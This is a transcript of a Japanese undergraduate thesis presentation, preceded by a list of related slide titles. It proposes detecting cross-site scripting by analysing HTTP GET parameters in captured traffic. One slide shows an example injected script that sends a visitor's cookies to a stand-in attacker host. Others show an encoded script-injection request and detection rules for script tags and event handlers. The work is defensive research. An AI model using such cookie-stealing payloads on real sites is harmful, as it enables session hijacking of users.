卒業論文発表 「Web アクセスに伴う脅威の特徴分析」

Slides:



Advertisements
Similar presentations
オリジンのはなし. NetAgent Shibuya.XSS Feb What is "Origin" ?  オリジン  Same-Origin Policy  クロスオリジンなんとか…  RFC6454 "The Web.
Advertisements

Internet Explorer 障害解析 最初の一歩 - IE のトラブルを理解する -. 概要 Internet Explorer を使用中に発生するトラブルの 種類と、調査のための切り分け方法を紹介します! (以降は IE と略称で表記します) よくあるお問い合わせ Web ページの表示が白画面のまま完了しない.
Web アプリケーション開発入門 大岩研究会 今野隆平 2002 年 5 月 9 日 Introduction to Web Application Development.
1 安全性の高いセッション管理方 式 の Servlet への導入 東京工業大学 理学部 千葉研究室所属 99-2270-6 松沼 正浩.
Step.5 パケットダンプ Wiresharkでパケットをキャプチャする PC 1 PC 2 PC 3 PC 4 ネットワーク
The Perl Conference Japan ’98 朝日奈アンテナによる コンテンツ情報の取得と利用
サイバーセキュリティ演習 ― Webセキュリティ基礎&実践―
SOHOシステムの構築と運用 東北NTユーザ会新潟勉強会資料.
Webアプリケーションの 通信メカニズム WEBアプリ研究プロジェクト 第2回.
授業の概要と実習環境説明 担当 岡村耕二 月曜日 2限 平成20年度 情報科学III (理系コア科目・2年生)
CCC DATAset における マルウェアの変遷
受動的攻撃について Eiji James Yoshida penetration technique research site
Ibaraki Univ. Dept of Electrical & Electronic Eng.
<TITLE OF PRESENTATION>
Zeusの動作解析 S08a1053 橋本 寛史.
インターネットの通信メカニズム 概要 WEBアプリ研究会 2回目.
早稲田大学大学院理工学研究科 情報科学専攻修士2年 後藤滋樹研究室 坂本義裕
ネットワーク構成法 スケール 第6回 11月19日.
TCP (Transmission Control Protocol)
「コンピュータと情報システム」 07章 インターネットとセキュリティ
第4回 個人の動画配信補足のためのWeb構築
OpenID 勉強会 (OpenID Authentication1.1)
Vulnerability of Cross-Site Scripting
30分でわかるTCP/IPの基礎 ~インターネットの標準プロトコル~ 所属: 法政大学 情報科学研究科 馬研究室 氏名: 川島友美
第1回 JavaScriptゼミ ・ scriptエレメント ・ 記述における諸注意 ・ 古いブラウザへの対応方法
佐賀大学 理工学部知能情報システム学科 講師 大月 美佳
タグライブラリとJSP J2EE I 第10回 /
インターネット メールサーバ DNSサーバ WWWサーバ ファイアウォール/プロキシサーバ クライアント.
i-Pathルータのフロー情報を用いたDoS攻撃検知法
第13回 今日の目標 §4.3 情報セキュリティー 情報化社会の特徴を社会的な面から概観する 情報に関わる危険の要因を示す
HTTPプロトコルとJSP (1) データベース論 第3回.
タグライブラリとJSP J2EE II 第2回 2004年10月7日 (木).
押さえておきたいIE8の セキュリティ新機能
HTTPプロトコル J2EE I 第7回 /
ID一元管理を実現する - OpenIDの紹介 (OpenID Authentication1.1)
PlanetLab における 効率的な近隣サーバ選択法
サーバ構成と運用 ここから私林がサーバ構成と運用について話します.
情報コミュニケーション入門 総合実習(1) 基礎知識のポイント(2)
データベース設計 第9回 Webインタフェースの作成(1)
Javaによる Webアプリケーション入門 第5回
通信トラヒックの相関構造を利用した通信品質の劣化検出
サーバ負荷分散におけるOpenFlowを用いた省電力法
空間情報サーバ (株)パスコ.
第8章 Web技術とセキュリティ   岡本 好未.
i-Pathルータのフロー情報を用いたDoS攻撃検知法
分散IDSの実行環境の分離 による安全性の向上
2009年度卒業論文発表 CDNコンテンツサーバの動的負荷分散
インラインスクリプトに対するデータフロー 解析を用いた XHTML 文書の構文検証
インターネットにおける真に プライベートなネットワークの構築
セキュリティ 05A2013 大川内 斉.
Cisco Umbrella のご紹介 2018 年 1 月.
第7回JavaScriptゼミ セクション4-5 発表者 直江 宗紀.
Webセキュリティ 情報工学専攻 1年 赤木里騎 P226~241.
マルチホーミングを利用した Proxy Mobile IPv6の ハンドオーバー
Ibaraki Univ. Dept of Electrical & Electronic Eng.
Webプロキシ HTTP1.0 ヒント CS-B3 ネットワークプログラミング  &情報科学科実験I.
端末およびサービス透過的な 情報閲覧支援システムの構築
ネットワークプログラミング (3回目) 05A1302 円田 優輝.
A18 スパムサーバの調査 ~ボットを見抜けるか?~
DNSクエリーパターンを用いたOSの推定
TCP制御フラグの解析による ネットワーク負荷の推測
仮想環境を用いた 侵入検知システムの安全な構成法
IDSとFirewallの連携によるネットワーク構築
Webアプリケーションと JSPの基本 ソフトウェア特論 第4回.
ユビキタスコンピューティングの ための ハンドオーバー機能付きRMIの実装
アプリケーションゲートウェイ実験 2001.10.5 鬼塚 優.
Webプロキシ HTTP1.1 ヒント CS-B3 ネットワークプログラミング  &情報科学科実験I.
ポートスキャン実習 2002年9月19日 修士1年 兼子 譲 牧之内研究室「インターネット実習」Webページ
HTTPプロトコルの詳細 M1 峯 肇史.
Presentation transcript:

卒業論文発表 「Web アクセスに伴う脅威の特徴分析」 後藤研究室 1G05R191-9 米山 諒 卒業論文発表 2009/2/4

研究背景 インターネットの普及に伴い,クロスサイトスクリプティング (XSS), Phishing, SQL-Injection など Web 上の脆弱性 が問題視されている。 脆弱性を持つサイトが数多く存在する。 未対応のまま放置されているものもある。 Web サーバ側の対応だけでは十分ではない。 卒業論文発表 2009/2/4

研究目的 増加傾向にある Web 上の脆弱性による脅威を防ぐ ために,Web サーバの外で対策を行う。 クライアント側の対策では,ユーザの操作や設定に よって機能を無効化してしまう恐れがある。 サーバとクライアントの中継地点での対策を提案する。 卒業論文発表 2009/2/4

クロスサイトスクリプティング (XSS) 悪意のあるスクリプトを含んだ URI http://victim.com/foo.cgi?q= <html_javascript_exploit_code> <HTML> <BODY> <B>Web Page Content</B> The JavaScript code within the URL is echoed by the website and executed in the users browser. click 10.19.19.1 – “GET / HTTP/1.1” 200 81 10.19.19.1 – “GET /cookie_data HTTP/1.1” 200 335 <SCRIPT> var img = new Image(); Img.src = ‘http://hacker.com/’ +document.cookie; </SCRIPT> </BODY> </HTML> 卒業論文発表 2009/2/4

被害の一例 Cookie を盗まれてセッションハイジャックされる。 意図しない Web サイトの機能を実行される。 ページの任意の部分を変更される。 DoS 攻撃に利用される。 Phishing (フィッシング詐欺) に利用される。 マルウェアをダウンロードさせられる。 卒業論文発表 2009/2/4

提案手法 ネットワーク上を流れるトラフィックデータを利用して, クロスサイトスクリプティング (XSS) の検知を行う。 tcpdump のデータから HTTP ヘッダを抽出する。 HTTP ヘッダから GET メソッドを抽出する。 GET メソッドで渡される引数を解析して検知する。 イーサネット ヘッダ IP ヘッダ TCP ヘッダ アプリケーション データ イーサネット トレーラ メッセージヘッダー 空行 (CR+LF) メッセージボディ 卒業論文発表 2009/2/4

提案手法の概要 HTTPリクエスト (スクリプトの抽入) HTTPリクエスト 攻撃者 レスポンス HTTPリクエスト Webサーバ GET /xss.cgi? form=%3Cscript%3Ealert(XSS)%3C%2Fscript%3E Host: www.exsample.com Accept: text/html; Accept-Language: ja, en-us; Accept-Encoding: gzip,defate Accept-Charset: Shift_JIS,utf-8; Cookie: SSID=123abc 一般ユーザ 卒業論文発表 2009/2/4

評価実験 サンプルデータによる提案手法の検知精度 実際のトラフィックデータへ提案手法の適用 XSSed – XSS (Cross-Site Scripting) information and vulnerable websites archive http://www.xssed.com/ XSS Workshop http://blogged-on.de/xss/ XSS Challenges http://xss-quiz.int21h.jp/ 実際のトラフィックデータへ提案手法の適用 早稲田大学のトラフィックデータを利用する。 卒業論文発表 2009/2/4

検知ルール 提案手法A の検知ルール 検知手法B の検知ルール <script> タグ javascript: によるスクリプト onClick イベント onMouseOver イベント 検知手法B の検知ルール イベントハンドラ (正規表現によるマッチング) 卒業論文発表 2009/2/4

トラフィックの測定環境 Internet Waseda Network Router Router Capturing Machine 卒業論文発表 2009/2/4

実験結果 (サンプルデータ) パケット数 GET メソッド 提案手法A 提案手法B 1,004,804 76,116 5,016 5,066 パケット数は HTTP パケットの総数 GET メソッドには画像ファイルなどの呼び出しを含む 卒業論文発表 2009/2/4

検知精度 (サンプルデータ) <script> タグ Javascript: によるスクリプト イベントハンドラ エンコードで隠ぺいしたスクリプトの検知が可能であった。 Javascript: によるスクリプト 確実に検知できることを確認できた。 イベントハンドラ 属性値が「’」もしくは「”」で囲まれているものを検知できた。 卒業論文発表 2009/2/4

実験結果 (早稲田トラフィックデータ) 卒業論文発表 2009/2/4

結論 まとめ サーバとクライアントの中継地点の対策を提案した。 HTTP ヘッダ中の GET メソッドの特徴を利用すること で,クロスサイトスクリプティング (XSS) の検知が可能 であることを示した。 今後の課題 検知の精度 (見逃しと誤検知) リアルタイムでの検知 卒業論文発表 2009/2/4

ご清聴ありがとうございました 卒業論文発表 2009/2/4

既存手法 Snort Proxy サーバ TCP, UDP, ICMP, IP の解析を行うことができる。 上記以外のプロトコルについては記録のみを行う。 Proxy サーバ Proxy サーバを利用して,HTTP プロトコルを解析する。 HTML 文章まで解析することで検知を行うことができる。 卒業論文発表 2009/2/4

HTTP/1.1 メソッド メソッド 内容 GET リソースの取得 POST エンティティボディの転送 PUT ファイルの転送 HEAD メッセージヘッダーの取得 DELETE ファイルの削除 OPTIONS サポートしているメソッドの問い合わせ TRACE 経路の調査 CONNECT プロキシへのトンネリング要求 卒業論文発表 2009/2/4

リクエストメッセージの例 GET http://www.exsample.com/ HTTP/1.1 リクエストライン Accept: image/gif, image/x-xbitmap, image/jpeg,, */* Accept-Language: ja User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Accept-Encoding: gzip, deflate Host: www.exsample.com Proxy-Connection: Keep-Alive 各種ヘッダーフィールド 空行 (CR+LF) 卒業論文発表 2009/2/4

レスポンスメッセージの例 HTTP/1.0 200 OK ステータスライン Date: Wed, 22 Sep 2004 05:21:33 GMT Server: Apache Last-Modified: Fri, 28 May 2004 12:27:38 GMT Etag: "6eb21-291-40b7303a" Accept-Ranges: bytes Content-Length: 657 Content-Type: text/html Proxy-Connection: keep-alive 各種ヘッダーフィールド 空行 (CR+LF) <html> <head> ・・・ </html> メッセージボディ 卒業論文発表 2009/2/4

JavaScript のイベントハンドラ ハンドラ名 イベントの発生するタイミング onBlur フォーカスが外れたとき onClick クリックされたとき onChange フィールドの内容が変更されたとき onFocus フォーカスされたとき onLoad 読み込みが完了したとき onMouseOver 要素上にマウスカーソルが重なったとき onSelect フィールドが選択されたとき onSubmit フォームの内容を送信したとき onUnload 別ページに移動するとき 卒業論文発表 2009/2/4

エンコードと実体参照 表示 実体参照 UTF-8 & & %25 < %3C > %3E " " %22 ‘ &apos; %27 卒業論文発表 2009/2/4

サンプルデータの収集 Internet HTTP リクエスト レスポンス Client PC Web Server 卒業論文発表 2009/2/4